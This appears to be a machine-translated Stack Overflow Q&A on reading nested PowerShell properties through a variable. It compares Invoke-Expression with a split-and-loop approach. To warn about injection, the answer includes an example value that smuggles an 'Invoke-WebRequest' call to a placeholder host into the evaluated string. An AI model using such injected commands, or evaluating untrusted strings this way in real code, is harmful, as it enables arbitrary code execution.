powershell - 我可以使用变量访问对象的嵌套属性吗?

标签 powershell

假设我有以下内容:

(Get-Date).psobject.Properties.Name

我可以使用变量来访问属性:
$x = Name
(Get-Date).psobject.Properties.$x

但是,我不能使用 $x 来“扩展”嵌套属性:
$x = 'psobject.Properties.Name'
(Get-Date).$x

因为在这种情况下,Powershell 将 $x 视为整个字符串是文字属性名称。

我找到了很多关于访问具有特殊字符的属性的不同方法的资源,但没有关于如何做相反的事情。

这可能吗?如果不是,为什么?

最佳答案

PowerShell 的一个有趣功能是您可以拥有包含句点的属性。例如:

[pscustomobject]@{'a.b.c' = 'example'}

这意味着在您的问题中,自 $x是字符串,(Get-Date).$x不会以点表示法解析为单独的属性名称。但作为 (Get-Date).'psobject.Properties.Name'
解决这个问题的懒惰方法是使用 Invoke-Expression在评估之前首先构建字符串。
$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"

只要 $x 的定义,这通常是可以接受的。是您定义的静态值。但如果其他设置了 $x 的定义,您可以进入Bobby Tables situation执行任意代码。例如:
$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"

所以如果你可以依赖你对 $x 的定义要使用点分隔符号,您可以使用 split()点上的方法将值转换为要循环的数组。
$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
    if ($_ -ne $Properties[-1]) {
        #iterate through properties
        $Date = $Date.$_
    } else {
        #Output last value
        $Date.$_
    }
}

关于powershell - 我可以使用变量访问对象的嵌套属性吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/50917586/

相关文章:

c# - ThrowTerminatingError 在 C# 中如何工作?

c# - 如何将 4 字节字符串编码为单个 32 位整数?

powershell - 在 Powershell 中比较 System.Version

powershell - 使用 Invoke-WebRequest 时抑制 JS 警报

string - Powershell 中字符串可以为空吗?

json - Azure CLI Rest 编码问题(德语变音符号)

python - 将变量从 Python GUI 传递到 PowerShell

powershell - 二级包容

powershell - 使用 Powershell 如何获取工作日号码?

powershell - 为什么第一次执行脚本后 Powershell 找不到我导入的命令?